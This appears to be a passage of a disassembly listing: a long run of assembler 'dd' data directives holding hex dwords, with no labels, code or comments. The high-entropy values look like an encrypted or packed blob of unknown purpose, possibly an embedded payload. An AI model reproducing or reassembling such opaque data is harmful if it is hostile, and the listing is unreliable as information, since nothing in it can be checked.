		dd 282A8850h, 9660BEC6h, 0D6820B5Ch, 0B7540668h, 56F22181h
		dd 5A142F44h, 0D798F393h, 9DD9A2B6h, 7CF21020h,	895C3882h
		dd 10DB1093h, 31EB0500h, 0D0F7B135h, 40E8D10Fh,	53936148h
		dd 0F7BE2DDh, 0E9C4214Ah, 8780919Ah, 0D2FF35FBh, 65CFFA86h
		dd 7CF3C501h, 0E8893EEDh, 69E9A989h, 0ECC0C620h, 501F5205h
		dd 0F9097EB0h, 0A9452226h, 0B2C30FAFh, 0BC300895h, 80430E66h
		dd 0F5BB70EFh, 0D6D6C7D5h, 0B353C1DBh, 5EF3F40Ah, 0E9D8280Bh
		dd 66ECA3C5h, 0D84BBA51h, 64B33829h, 0E198DD3Ch, 2CC7AFC2h
		dd 0CDF4516h, 164C5C01h, 6560289Eh, 9A27BF08h, 0FCD869E9h
		dd 0A37230B4h, 0E3FDF6Ch, 17F2BE25h, 51EE8181h,	9C54E69Ah
		dd 32C0B813h, 791C6F21h, 0F52F6B5Dh, 62C2BC48h,	35B56B16h
		dd 8AEA0AC2h, 0A102C208h, 7606E62Dh, 792484h, 58BF62C7h
		dd 7E904B43h, 0F62446EAh, 53A8CE56h, 4737FF25h,	8972248Ch
		dd 75F9C331h, 22B6662h
		dd 0E0E22959h, 52D69042h, 842FC99Ah, 5EF05C6Fh,	49FA945Fh
		dd 64D31899h, 0AE48BB82h, 2CEA8141h, 0F6D83B0Ah, 0BC4C145Ch
		dd 0B0019537h, 0E9149A35h, 5EA62C23h, 0B10025C9h, 298CEBFh
		dd 0F929E003h, 7BCB46E9h, 2D5AD0B8h, 0C78A202h,	0D3895E14h
		dd 5F011671h, 76E94C57h, 0EB50C18Bh, 5009F3B9h,	842D7496h
		dd 6DB83FCCh, 1F5768C0h, 590E1C94h, 4C05E9C1h, 0F14DDBD6h
		dd 123D1BE5h, 6A7E7000h, 5DEF2183h, 0EB4CCF3h, 5E63F72Eh
		dd 7A912F13h, 10050FC7h, 885E508Ch, 0A6BDD385h,	0A0A92213h
		dd 82DD0113h, 46A78F73h, 4C294606h, 44338074h, 523122AAh
		dd 112DDFCFh, 30FFF9C3h, 41065774h, 315F2DB8h, 96E1B240h
		dd 586CA033h, 0D2046087h, 0BCC1A7E9h, 5456C5FAh, 0DFEDA805h
		dd 99E21A8h, 8390695Ah,	0DD487503h, 9DC10009h, 21AD66C6h
		dd 0CCE925CBh, 0A4BEC104h, 0C0D389AAh, 4910CFA6h, 25154C80h
		dd 0C555429Fh, 7267AF4Ah, 2A13E7A6h, 4DD66990h,	0C36B4B3Ch
		dd 0CD73EB4Dh, 0CE26E3ECh, 0E904E27Fh, 29092196h, 60575D91h
		dd 5B813DD2h, 0F2EE046Bh, 8B0AF819h, 7650E220h,	0B6C0C0Ah
		dd 0A1C0EABFh, 0B44DD5F7h, 1339B007h, 96C187Ch,	42903BE1h
		dd 0C6127AF7h, 0F916443Eh, 0F3D9FDC9h, 5C5F2292h, 0B747D611h
		dd 0C0D011BFh, 69581110h, 4BE556DEh, 680E0761h,	0E1B417DFh
		dd 0E630CE03h, 0F2CE9B58h, 59ADA438h, 440E2880h, 9B124CBAh
		dd 90B9D129h, 0E61C4A83h, 16C444E7h, 0CC314B68h, 0F6019B3h
		dd 0C66E589h, 830E58CDh, 0B0EFE645h, 58B152B2h,	1B256331h
		dd 0C7164FC8h, 61C2A6BCh, 0CD2D9032h, 850F8052h, 0EDEB1127h
		dd 0D3FA28EFh, 167F8E2Ah, 0B55564E9h, 40C6569Bh, 4A1F309Fh
		dd 0C2E776F9h, 0E90802C5h, 3DC75088h, 4ED5EA68h, 19115FE0h
		dd 0D5A0170h, 0C958DB71h, 0FFC834F3h, 213D23B3h, 4AA430FDh
		dd 0D48084D5h, 65038082h, 3E7C198Ch, 0F6D478E9h, 90074E9Fh
		dd 0C1D82EAh, 0F6583D26h, 0AD46472Dh, 5C5F1AE6h, 884A2FCBh
		dd 1D4068ECh, 0F0F9D5Eh, 9073C424h, 0E0C1D861h,	3A50548h
		dd 0EDDBFB67h, 5E5BDA31h, 1CE90B53h, 0AC046E29h, 0ECB38602h
		dd 0C059A04h, 63C0834Eh, 0FBD5549h, 1A5AFFD5h, 0A8FABD1Eh
		dd 0F7D328A9h, 2529872Bh, 0F311C748h, 832D2B6Eh, 68DE90D9h
		dd 8C154FA0h, 4E04F8BEh, 0CBE93269h, 8FA06795h,	60CE4135h
		dd 0E1D2D403h, 47F4CE01h, 95EC1523h, 8217DD39h,	2772EBF7h
		dd 56A78160h, 5E3A3D26h, 4EA6300h, 4983E934h, 0C6003BC3h
		dd 5AF12062h, 6AC8C9FEh, 0B20C2FB1h, 4B1F804Eh,	729609B2h
		dd 60B8C241h, 0FA89D406h, 7712D996h, 7A4F6FA2h,	2402C509h
		dd 525AC9FAh, 40284124h, 2135E069h, 0BC1E20Ah, 525707EDh
		dd 12D46100h, 889111Eh,	4AF2D080h, 0CA895B37h, 0E4A5F4A0h
		dd 3122A69Dh, 4092B0C9h, 5E2E59AAh, 6D0BAB21h, 0CF40C982h
		dd 0CAAC67E0h, 0F65E22h, 79E56337h, 290EC981h, 0C07BE60Bh
		dd 0CF03D6F1h, 647FB060h, 0F44EF78Ah, 744012C6h, 1E9A4B68h
		dd 5BAA8C9Ah, 0D777F60Ah, 1916FE32h, 25F3563Fh,	73686483h
		dd 0EF31BBECh, 0F701F49Ch, 0DD9A40D3h, 6FB0EA2Dh, 6018311h
		dd 31EACC4Ah, 77044B40h, 585B27D5h, 21C67F1Ah, 0B16FD499h
		dd 34AA4E16h, 0B6C74080h, 51C72C23h, 1CABB52Eh,	50581F18h
		dd 20969054h, 0BF04878Eh, 41857CC7h, 400F4A80h,	0C606015h
		dd 75D5FDB1h, 0F1075E98h, 121E10Bh, 83588ABh, 0A26D5F1Ch
		dd 590F08E4h, 6D8A89F0h, 276C7856h, 0C15C40B0h,	3C02E72Ch
		dd 0F64C4003h, 4B740569h, 0E0BC552Eh, 0CA0108B9h, 0E948EC0Bh
		dd 2F4829C6h, 44CB272h,	3F791768h, 3629AB6Dh, 779232Ch
		dd 58E962F5h, 75F332F0h, 79F4A56h, 7A1A1DCCh, 0E6DB3AD5h
		dd 0CD4CE90Bh, 0BEE8CFA4h, 20311504h, 0AD54891Fh, 0A15D3725h
		dd 0B4DDFCA7h, 0B8508C01h, 4A2F1122h, 802066Ah,	4ABA2CE5h
		dd 0DE6934F2h, 1225583Fh, 44649E84h, 8C3E0A3Dh,	0FCF353A6h
		dd 1B98A44Fh, 0B080B64Fh, 242FCCBBh, 3D2155B8h,	5CCD7A01h
		dd 0E2868A0Fh, 3C707A7Eh, 0C1FC8372h, 62A9394Dh, 3C505970h
		dd 0BF9CCE30h, 5CCE4E31h, 462D07Fh, 0EDB9870Fh,	8AE347ECh
		dd 2A5256C9h, 5C25789Bh, 290E366h, 0AA6E2101h, 7F40E917h
		dd 63EFC35h, 0E4EBD153h, 7351821Dh, 0D1D801CBh,	0F8CD276h
		dd 520253ABh, 0EE8002B6h, 0C38EE0B5h, 0E6C0806Eh, 88070360h
		dd 2CDE8BC4h, 1387D187h, 273FE729h, 1728C8D3h, 4B9796C9h
		dd 0C1318860h, 10F6584Ch, 0BC60DF57h, 152F0EE6h, 0A7DA093Eh
		dd 0B799C132h, 41863220h, 4C72AC1h, 613024FFh, 0CD814D03h
		dd 7F3924E0h, 603FBE90h, 646E246Ah, 9A995B00h, 0B2B3E9EDh
		dd 1354B1D4h, 82446708h, 0E57906D2h, 24C1E54Bh,	6D6C06DBh
		dd 0ED0962CFh, 608914A7h, 484BD728h, 8E2F1C5Fh,	937B8B42h
		dd 5F330027h, 0B0494CEAh, 0D04D290h, 3217A6B8h,	0AB5812E3h
		dd 4A61BED0h, 2EDC7B35h, 0ACBD5021h, 7E56CC90h,	1A027204h
		dd 2CC1E1C1h, 0DF2D6288h, 4FC80179h, 0B7E97079h, 4AA86214h
		dd 6F813D94h, 1054261h,	6C2E8AF3h, 25B5ED3Bh, 94C47D66h
		dd 25448475h, 0F5568909h, 2C60C708h, 98F0038h, 0F387134Fh
		dd 0FD6F72Ah, 6D986812h, 0F52595F3h, 4FABAA0Fh,	0ED54F941h
		dd 5971AC50h, 0BA33963Bh, 0F9C1E241h, 4342CF88h, 90B678E7h
		dd 0F7032F5Eh, 18BA3280h, 0CBA05B91h, 7257BB1h,	0E3048232h
		dd 4DC4DE7Dh, 0E8162A40h, 59F46118h, 0C621CA26h, 433303BFh
		dd 0EEB06CBFh, 85375C38h, 150184Eh, 25683955h, 791950E0h
		dd 7E5B3531h, 0C0B56F37h, 0F429A1A1h, 8AE15F73h, 0D7B44ACAh
		dd 0E793268h, 0BCF8B83Bh, 7190B91Fh, 7DF51AD6h,	9DB56CCh
		dd 6497E978h, 96B576E6h, 0BB92BDCBh, 6C71F300h,	0E9260529h
		dd 318997C1h, 0AF9AD9FEh, 7EE95B60h, 8629385Eh,	0F8886682h
		dd 0E1CA3AE9h, 0E32535F6h, 0BF62D928h, 0B24B8126h, 0DC5AC5F2h
		dd 583EC4B4h, 2583136h,	74532707h, 0C4CB1429h, 4B081A0Dh
		dd 0F37C7F42h, 5955520Bh, 0A8B883B2h, 0D62EF13Fh, 5D8552C0h
		dd 77E21C87h, 4137884h,	20F85E5Bh, 0B8C5228h, 6B5762Eh
		dd 4E10F789h, 8C0497F2h, 0D78947F7h, 0CB4CAEB3h, 120F031Fh
		dd 91A9C455h, 2C6CE9F6h, 4B5F18F2h, 0F3CFEC4h, 0D9010D41h
		dd 55082EBh, 5B974848h,	7641D589h, 0FD5117FAh, 3662EFCAh
		dd 56BE3098h, 5D7EA32Ch, 10DBA18h, 93F998DDh, 445A757h
		dd 19BA962Fh, 6BB4BCE9h, 8671D8C5h, 0D31167Bh, 8EBD55Bh
		dd 65876EBFh, 0F557021Ah, 0D484A1A7h, 2192A5A6h, 2974FE82h
		dd 4D6D6886h, 268825CBh, 0B73DA044h, 77927C7h, 80F0B6D1h
		dd 0E6FEC3C6h, 0CE8D1A0Fh, 325650F0h, 10655842h, 8B1E8934h
		dd 4DB968F8h, 5FB84E2h,	0A637CD57h, 0EF16531Ch,	0C8C14433h
		dd 556C6806h, 2A224C41h, 0B9463C19h, 5D143E70h,	938C4ECCh
		dd 81F3C02Dh, 764727CBh, 2C2C3D5Ch, 73A56828h, 0BBCB08D8h
		dd 2C01704Ah, 294F2128h, 320808DAh, 79523B2Ah, 52184209h
		dd 4A515832h, 0D0A41211h, 0D233825Eh, 0F85A6525h, 0D3D205Ch
		dd 52DDF701h, 0DF2AFEBAh, 5AC38770h, 34F7484Bh,	1B9123Dh
		dd 552693F7h, 0A1DE17BCh, 14F10192h, 237F55B3h,	53EAF7A1h
		dd 559E6CD3h, 0DA4707D6h, 83C95866h, 0A72CF8F8h, 771280D2h
		dd 7B1F27B0h, 5E8E2887h, 52D85D06h, 2A01CA3Dh, 0F09D016h
		dd 5AE8538Eh, 86641653h
		dd 0C66CE114h, 29A83A0Bh, 0A5B96FDFh, 0AE025053h, 741F372Bh
		dd 1375836Ah, 6CC22C9Bh, 365C5A01h, 0CC542230h,	9B8A5110h
		dd 2D3B6702h, 1D443E9h,	0F468565Ch, 3326CD15h, 440E7A5Eh
		dd 8A0A2957h, 2492897h,	61E6DE5Dh, 8DACD1A8h, 0F3701877h
		dd 0EA41B48Ah, 0D3B2A1ECh, 94CF336h, 1ED805Ch, 0CEE9E829h
		dd 0E0BCAEF2h, 68C8310Eh, 9B1048BFh, 964785D2h,	0A4940AACh
		dd 275A7669h, 8AA99147h, 690629h, 8F504DA4h, 36475C2Ah
		dd 407E4909h, 0F5CF2280h, 781AF95Ch, 4104D7F7h,	9A60F152h
		dd 0D314C7Ah, 35CD9F12h, 0B5FED3D6h, 4C345F5Ch,	0C868B028h
		dd 1E0E2578h, 312F6D94h, 8E05C46Ch, 215EA16Ch, 68718C3Ah
		dd 6D1D0F27h, 0A3921746h, 0E391588Fh, 53C14C58h, 407FE916h
		dd 68535938h, 0D7C2F7Bh, 424A5B7Dh, 0A6FDBE12h,	0EBA2FBC4h
		dd 5F74A237h, 0D7D18705h, 94874BF4h, 692F90B8h,	8E98355Ah
		dd 2E613934h, 8A4ECBBCh, 32D65F50h, 0F7E32064h,	0FEE8198h
		dd 49B6929Ah, 33CA5397h, 0FAEE40h, 0BE7D233Eh, 320F38B9h
		dd 5F3C1EB8h, 39F08056h, 74292278h, 5E082424h, 6293409Dh
		dd 1BDE6EEFh, 0C6C293Eh, 21811420h, 0BE7D425Eh,	28FE748h
		dd 8CAB6FEEh, 0DE3E6E02h, 6029475Bh, 0B7AEC41Dh, 0F115B0A5h
		dd 0BEB79548h, 0E2A04F63h, 0B0E913D5h, 82D720F4h, 5F7BBB4Ch
		dd 17F03F20h, 6267D868h, 1A5A13EDh, 8625E57Fh, 686606h
		dd 62141B4Fh, 0AF08382Dh, 4D67358h, 119AECEDh, 0AF58C9B2h
		dd 2F65C589h, 80565709h, 0BB784720h, 60E9702Bh,	21158FC7h
		dd 83B91ABFh, 5180AA16h, 77484CBEh, 252D04FCh, 0BE7B4641h
		dd 9A8AE04h, 66D80B12h,	0C11D6CC4h, 810104E5h, 0B494CFEDh
		dd 3A7205E8h, 1145E6Dh,	0AC00F3E8h, 0E97D061Bh,	3FC05B59h
		dd 81EFD1DFh, 3D6F0BC7h, 9E409F12h, 344E8B5Dh, 0B7D324A3h
		dd 26680A31h, 0EAE9E23h, 5CFDBD70h, 550B3414h, 0D80E5D59h
		dd 407602F2h, 96C0821Dh, 0DFC56E92h, 9218A166h,	1846E5D2h
		dd 0E0A7819h, 797CD1F5h, 5DD60865h, 688245F2h, 0FFD65C1Dh
		dd 68291567h, 2D283536h, 2C1B59CAh, 0FCA7C3E1h,	0D3FE8DEBh
		dd 0F66010DDh, 45429D5Ah, 0E9870B40h, 59B1964h,	2B6929FBh
		dd 68512943h, 0CD154F02h, 59163A83h, 0F54B00CAh, 0B9443A84h
		dd 0B812A0E7h, 1994DCE1h, 5CD72210h, 9301EF5Ah,	0F6BD47Fh
		dd 3B22ED80h, 6044FD43h, 54B8AC57h, 89D98A80h, 0C517B8D1h
		dd 0A34BAD0Ch, 633B68FAh, 81479C2Ch, 9E42FEF5h,	0EF0C876Dh
		dd 1379624h, 5005E05Fh,	387A0D0Ah, 8A6222Dh, 1FF8120Fh
		dd 0B32ECE8Fh, 3D380FB2h, 80707425h, 8415FA12h,	0C71F60E5h
		dd 3E259909h, 0C176E0FEh, 0DA0548E3h, 0DF65E04h, 5BAE81CEh
		dd 5F34412Dh, 4168D857h, 76925200h, 37233558h, 0A05D4FB9h
		dd 0D70987B7h, 292CE94Ah, 804489E9h, 8CF29154h,	0FD0112E5h
		dd 0EA67385Fh, 44312485h, 0F5014102h, 59384DE9h, 0E950CF58h
		dd 0F83C1F3Ah, 82F95647h, 8C7E2931h, 0E3473416h, 9BF4EF31h
		dd 2C0F98F0h, 9ED54F81h, 8350A7FEh, 4E9E844h, 59CC8831h
		dd 96EFA851h, 0FE016C16h, 351F6D44h, 0D6AAB40h,	0B44A4ED3h
		dd 14677CC8h, 0D175D8F3h, 0FAE8E252h, 1C00AEA4h, 0F732441Bh
		dd 3FD7A0D1h, 0DD514C0Ah, 6925E300h, 90E942D3h,	8BB3C861h
		dd 0A934C4DEh, 0BDFB04EDh, 0FA897E96h, 0FD5D435Dh, 49285AFEh
		dd 334084EEh, 0AD06DD31h, 0BF4B6FC6h, 0E9F86520h, 3F5B60F1h
		dd 147ADBCAh, 252E0E7Bh, 41888FF9h, 5C381A3h, 2C1F3251h
		dd 4AF2D2DEh, 6360B6C0h, 0D30C2D4Ah, 0F8093A2Bh, 0B1B1D08h
		dd 2434E46Bh, 7B591AA7h, 6AA3DD60h, 605A987Bh, 58C1F757h
		dd 5001C2A1h, 3ECCFD56h, 0F85EA709h, 0EA090F87h, 0E5BD535Dh
		dd 0FE011104h, 0C3B29124h, 0DA9683Fh, 25C62752h, 43295A17h
		dd 2E030680h, 1561F53h,	851B9C7h, 14A09430h, 0BB523041h
		dd 1C0DAE04h, 46A40475h, 0F600AAB8h, 0AB2221F0h, 5E58F701h
		dd 0ADF7D74Eh, 0A3263196h, 8EFE489Eh, 0F8F051Eh, 790828C9h
		dd 7BBF01B9h, 2B5BCE9Fh, 0A9918962h, 69E4D6DBh,	0A86862C0h
		dd 358ACC9Dh, 1E1113FCh, 0B1571277h, 28D5007Ah,	664AE10Dh
		dd 66B95E1h, 8A5A4166h,	16521320h, 303A1C68h, 4AB95136h
		dd 5053213Eh, 155F9D5h,	0B3E40259h, 3EF5FB09h, 23BC6917h
		dd 5D049137h, 0B897870Fh, 1E5A4191h, 47A173BAh,	0CB5D548Ah
		dd 6179A304h, 3D92B9C1h, 4541933Ah, 0EC5C42C2h,	7BCEC387h
		dd 0E15D58F3h, 373E2FF4h, 0AD1F92BFh, 7C0987E4h, 79302568h
		dd 69EC299Eh, 6F4898CCh, 48311721h, 3F2D5E0h, 0E90103F1h
		dd 583CE216h, 0C28081B2h, 6EAC0D7h, 0E9BB98DBh,	0D73BF9FEh
		dd 0C43A72D9h, 0E85D3077h, 9882824Fh, 2C51EC48h, 5765E5A2h
		dd 9C426846h, 0A255848Dh, 68792FADh, 9E58C691h,	0F1064E97h
		dd 995205Ah, 26E54F18h,	5D9394h, 3E677B83h, 0FD7C293Ah
		dd 40A23C5Ah, 0FFFC36A2h, 1C8FBB01h, 396074BCh,	0D2581213h
		dd 0B12D0342h, 0A8B4DD1Ah, 0EAF3005Dh, 31475741h, 0C45B4CDFh
		dd 4C225600h, 814A4249h, 7DA2F21Dh, 3CF81913h, 0FBEA1460h
		dd 9325A180h, 78B7021h,	0DF7E2BE7h, 0BDEFF412h,	17BB5979h
		dd 8B1C04F7h, 838E502Ch, 0C1E9E4C5h, 0F4DC11BAh, 0A8DAE9A0h
		dd 0DDE7D7A9h, 0E1092E45h, 8941FC57h, 0ADA71572h, 580822D0h
		dd 0A47635D6h, 0E2072046h, 574BC9B0h, 535A8522h, 0DFE9C10Ch
		dd 3C543923h, 9D927E12h, 7620F9B8h, 9A5D589Ch, 0C5BC757Fh
		dd 0B65EF1AFh, 4D3313B4h, 6D81BCF9h, 802AB80Eh,	42F9C9BAh
		dd 4AEAE9DDh, 315AE4CCh, 1E68E040h, 0B0925D8Bh,	29F1E656h
		dd 0E966DC09h, 50612339h, 360F85B8h, 6ECD5765h,	6D688E8Ah
		dd 0C6E984A6h, 8B45BE0Ch, 48AD1BB6h, 21008190h,	0E943F67Ah
		dd 0BA801C27h, 712316BBh, 5ED60806h, 5AC3BD01h,	0E170621Ch
		dd 8712011Fh, 0E9D5F76Dh, 4A1D3CF2h, 40F662A0h,	0BB09BF38h
		dd 0AAD44487h, 44AF18E7h, 0B10320E8h, 0DA6E0CC4h, 988A1016h
		dd 57939603h, 3A4829CAh, 1F8F0541h, 0C0C65F95h,	114E0A22h
		dd 1E925CD9h, 0F653B4h,	794DCEB6h, 0E9261BD3h, 57929AD5h
		dd 0C5544449h, 948AC94h, 92713DAFh, 0B406311Bh,	4BD731AAh
		dd 0C213FE4h, 800027DAh, 0C7E6FDEFh, 0CFFE0118h, 0F668110h
		dd 2834B050h, 0F6B8E982h, 0D4A442F1h, 5C7D541Ah, 56180B5Ah
		dd 2C701C03h, 74059F2h,	0A9999C03h, 0B016383Dh,	5499EA42h
		dd 0E94C1763h, 0D802E52Ah, 5104C63Ch, 59CE8960h, 87286EE5h
		dd 61D54E62h, 72C63157h, 905F1B24h, 119B0FF1h, 0D2851E55h
		dd 1C11F4EDh, 5B1DA39Dh, 0DA77DA43h, 5B0E8668h,	4937A653h
		dd 5AEB46Bh, 0F4CBE94Fh, 68165A15h, 0AE6220EBh,	0CA14649Dh
		dd 0A5E46D11h, 0E5FC4A66h, 0E95030BEh, 0D0B64F68h, 1D0FDED0h
		dd 7A4F7E7Bh, 0EFA8E612h, 6A1AF3B7h, 2CF8150Bh,	8C8882ADh
		dd 30AC01A7h, 0DFC842D8h, 0E6B85D04h, 10B1098Eh, 4E629A68h
		dd 0BB5FC13Ah, 1504DF60h, 0FCE7921Fh, 95627C3h,	0F9AA59F1h
		dd 0B7F6CE3Eh, 0EADE01E3h, 22F7C86h, 66DD2859h,	511D7BC0h
		dd 0E70FC692h, 4544BA20h, 0D0AC4F47h, 351BA881h, 7E446E3Ah
		dd 31094928h, 0B2335705h, 0E3044EBBh, 4E90B9E9h, 69F7D587h
		dd 0A0008D2h, 50375B3Dh, 48F0CD0h, 0EB0128A7h, 0A8D293ECh
		dd 43A24E45h, 0A0666399h, 0BE25AA65h, 9E9D2299h, 8889E3ABh
		dd 2D685BD9h, 7126104h
		dd 0ED5920FEh, 2527E91Ch, 4C32DA62h, 0E38BD07Ch, 0EB20BC1Ch
		dd 15D7BECFh, 0B928ACF4h, 0CF893E5Dh, 0C9072413h, 0A3382BCDh
		dd 1AFD33E9h, 7FC9AD10h, 0D9043B20h, 6802A445h,	0F5EC36ABh
		dd 0C333994Eh, 0D2B4C952h, 0A215243Ah, 0DD0B9619h, 789B565Bh
		dd 4EBCF502h, 6A2D9F83h, 4995DA77h, 35795DBAh, 0A0507190h
		dd 48F3FEE0h, 1E024877h, 1454F2Fh, 5489D068h, 0B963E826h
		dd 7A75BA02h, 2B506052h, 982C5C50h, 5BC86810h, 44F351B4h
		dd 88160F46h, 0D346F2D0h, 1F0A9D73h, 4E13EC80h,	0EEC558E7h
		dd 4C0EFFAFh, 0BE9A4C6h, 0E4514B92h, 8F5931EFh,	25A52FFh
		dd 0BD8856BFh, 7F544C10h, 60989A36h, 0AAA9952Fh, 0EE5E5931h
		dd 0E922600Bh, 0AC40401Fh, 4C142C38h, 0B1B52A00h, 0B622534Ch
		dd 4AE72037h, 0AC464F9Dh, 122002E1h, 0E5C008E8h, 21092A35h
		dd 65C3014Ah, 81163578h, 0F517FDE3h, 12573136h,	0B4D205ACh
		dd 6817F492h, 3B31193Bh, 0DE2A5954h, 2FF1562Ch,	3C8C665Ch
		dd 0B8294BEh, 1D6E6810h, 8BAAA6FEh, 63A2B2B5h, 7B9C889h
		dd 9501FA6Dh, 59DAB343h, 9F02078Bh, 0F409FC60h,	1B0E4B96h
		dd 7BBE5A78h, 117D5F02h, 0E301EE83h, 0A8E09392h, 59C7E96Eh
		dd 0F509B628h, 0ED0EC01Dh, 5CCBDEDCh, 0EB30C9C5h, 87601789h
		dd 0F825015Ah, 0E94D4B2Dh, 656FB15Dh, 0BEE6B48Eh, 2C3F2D46h
		dd 0A88E56DFh, 5A0FD5AEh, 0EC4C57E6h, 40F17425h, 4B42236Ah
		dd 0B03AC5D3h, 56126882h, 585B1501h, 0F07E8C1h,	0B70B9AF4h
		dd 59DFC4A0h, 0E9277B44h, 8895C0B2h, 0B45D4AFBh, 0C5A9CE02h
		dd 2AA4415Ah, 5F5B014Bh, 51A19678h, 0BC0FC468h,	0E90920EBh
		dd 985C4F0Eh, 0C283A908h, 0BC334079h, 0BEEC9EB5h, 1FE4D02Eh
		dd 0D3B64ED1h, 139ED6AFh, 359E18A8h, 140B7D68h,	745A0F04h
		dd 79F4BAD2h, 0FD8612DAh, 2530901Eh, 3660D131h,	7109CF0Ch
		dd 0D089042Eh, 0F2ED835Ah, 93A45B56h, 1CB33C53h, 9A75C92Ch
		dd 76643A4Ah, 0B8096490h, 89AE41A8h, 904478D0h,	1DCD2F60h
		dd 44EDF0E1h, 4CB6E308h, 292D8B05h, 9512589Dh, 0B1F2189Bh
		dd 0D15159F8h, 42CCC8EBh, 0CC334F2h, 7D2B63D6h,	313F409Ah
		dd 0FD6BEF72h, 5F8C508h, 0E0D0E955h, 660E5010h,	834C8FB8h
		dd 0C50F9F05h, 371FBEh,	6852F635h, 28B11740h, 9DBA07BEh
		dd 0BD505538h, 68E93344h, 0EB5D4F88h, 3BEF54A2h, 16BE3A65h
		dd 8EAD56EDh, 0D80B9984h, 9625E917h, 0C925D973h, 2B0B6BFCh
		dd 31262CBh, 91D801DEh,	1B715828h, 54FADB04h, 0D70386ECh
		dd 0DD01F7BBh, 0C2E951F8h, 8FBD9994h, 49FC88E0h, 270E5E31h
		dd 126E0CF1h, 41B2A205h, 0FF665390h, 4DB3F230h,	80077F95h
		dd 5053C404h, 20637A18h, 27CB5648h, 0F37146F3h,	253BADFDh
		dd 0D6CF21BAh, 40CDADBFh, 9EE82043h, 81DF52B0h,	71F768C6h
		dd 6673B866h, 59CD3FBEh, 35D577Bh, 2F34EFDh, 0A8A7135Fh
		dd 5A681F7Ah, 0A29D2062h, 0AC8D9E80h, 4E94B5D3h, 948513FCh
		dd 45ED8857h, 5916797Ah, 2310D301h, 20924808h, 89681636h
		dd 64D351Ah, 5EC60841h,	8755E197h, 7050C412h, 4BCE895Eh
		dd 0F5ABF1Dh, 0E7C10D01h, 0EC367246h, 348EFC1h,	4FDA05C1h
		dd 0DE000A7Fh, 7A111344h, 95E3FF01h, 895D0802h,	8724D9F8h
		dd 5AB1CBBh, 12778FF5h,	0B0055F21h, 0A7FC1DA3h,	64C78A96h
		dd 16A4FE19h, 809441A8h, 0DE500F9Ah, 0B0DDF76Ch, 0A2C44F3Ch
		dd 0D425785Bh, 6234B6Ah, 0F5B9DABCh, 0AE98106Bh, 54D1525Ah
		dd 0D06059CAh, 6C1E075Ch, 81E8D139h, 54CE84E9h,	2A1DED9Dh
		dd 680908AFh, 263FD59h,	0FC49D956h, 0E3FA5BECh,	346C5A11h
		dd 4BA9683Bh, 41579EDDh, 62B376CAh, 0B2AA855Fh,	0BDC152FDh
		dd 71C2E9FBh, 0A0990B5Fh, 0EA5A7C4Ch, 13BA6385h, 0EDFA2DC2h
		dd 0B6173ADEh, 68AA6A8h, 88588BA2h, 0DE1B7140h,	74927582h
		dd 81088554h, 870F05CCh, 0EC44EAD0h, 0E198614Fh, 0A1C14E8Ah
		dd 0BB352088h, 3D7105E0h, 8052C83Ah, 7C7A5F4Fh,	2C51B42Dh
		dd 3EDC4D8Fh, 93050751h, 0EB0C8B25h, 9EBD193h, 20EA7753h
		dd 9C38325h, 6F595A08h,	184E7B28h, 140D5E4h, 0C05AF730h
		dd 606605E7h, 0EC60D877h, 2E64EA53h, 89472F4Eh,	551282D1h
		dd 993B4AE1h, 5092F114h, 66F520F7h, 2E51195h, 687FE911h
		dd 995D2F99h, 224252D4h, 7D9A555Ah, 3CEDAA10h, 0CE4CF8BAh
		dd 0B5804BB5h, 4C5BDF29h, 472D6D55h, 30074F0Fh,	5E9A82F1h
		dd 586939FDh, 16AFCA3Bh, 85F442AAh, 17851B0Fh, 6ECA1B62h
		dd 52726009h, 5954255Fh, 0B731B5EFh, 0EB2CE801h, 75F3D0h
		dd 4F564651h, 4487F781h, 0E90D0505h, 0D5E915CFh, 5BA64811h
		dd 92CCD704h, 0B5BAB917h, 26BCEA00h, 9F4D7F02h,	4EE5AE80h
		dd 4B5C8D70h, 0B9854F1Eh, 2DAEC508h, 810157E7h,	0F0584CDh
		dd 22E29D5h, 176EE9E6h,	5C971973h, 0C14133CBh, 0CBF9123Bh
		dd 0E0902A19h, 450BC9FCh, 4099C77h, 34AFB93Eh, 822082A8h
		dd 6DED2558h, 1C352C7Ch, 9DBC4CA5h, 67561E62h, 0FCE8A15Ch
		dd 0DCF8B401h, 0C59746A0h, 12270B40h, 0DB5A87C8h, 0C601B183h
		dd 0D69B1C70h, 80A79110h, 5568F4EBh, 88D298BDh,	67517BC2h
		dd 62595538h, 0D54627Fh, 8E472960h, 31E942h, 0B625E230h
		dd 0E49CF3Ah, 7950A2A9h, 0FD145BE6h, 8B7ADh, 51311DC9h
		dd 4A6F8C0Fh, 0C78FC829h, 2B2FB60Bh, 5F2E0103h,	0AC93DB88h
		dd 3025F83Bh, 0E9F306CCh, 51819D0Ah, 50731368h,	83BB5351h
		dd 7C524B0Fh, 2BDDEF55h, 0FC52829Ch, 3300091Bh,	1411871Fh
		dd 2AD92126h, 263145A7h, 3BFC11A3h, 2AE0AEE6h, 5942D8A5h
		dd 0FC9C1425h, 59CB2CF5h, 0C2C625D1h, 1A081697h, 3E913FE9h
		dd 27AA9C57h, 67D9E789h, 0F563044Bh, 0C1D90104h, 6A6AD373h
		dd 48C2EC2Ch, 0ACD35F3Dh, 6A07B21Dh, 4734DD63h,	0F25BE979h
		dd 0ACE196C9h, 0D6CD9A35h, 6905B883h, 0A5EA3960h, 0F05EE069h
		dd 36FA9BCEh, 41244A7Ch, 6886490Ah, 4EFD011Ch, 80C00510h
		dd 2DAC04ECh, 9C590AC4h, 0A859CFADh, 0D0905D80h, 4553E45Ah
		dd 52030E9Ah, 872A83BAh, 0C420027h, 0F542174h, 9BB2E88Eh
		dd 285EE974h, 1DE0A9C9h, 0A7449D20h, 0A0485D20h, 30273206h
		dd 0B20C05B3h, 6C124D68h, 2210F329h, 56510A08h,	890015BEh
		dd 17E95EF1h, 7FDDC6Dh,	5866E1h, 0B35359C8h, 0B450C100h
		dd 0F6CCFE9Eh, 0E4C00ED4h, 0CBE38005h, 0EE8C67E9h, 0A6949B37h
		dd 0BF5648B0h, 0BCC8E04Eh, 0A4311E43h, 0CB652935h, 4B5C0E98h
		dd 97BBE913h, 0F715FCB3h, 0D728A995h, 4A017AB7h, 5096E526h
		dd 2812B0ADh, 62202798h, 0EEEBE0D1h, 45DB28Eh, 743545BDh
		dd 0F5E3D04Ch, 0AC255863h, 1EDDD92Dh, 0B0BCC0C5h, 5DEF899Ch
		dd 0D175FB90h, 0DF0B574Bh, 841B5945h, 0BC40A1E9h, 56E8C94Fh
		dd 4FCC2523h, 78F0E1E8h, 680168BAh, 1D896B3Dh, 7882455Dh
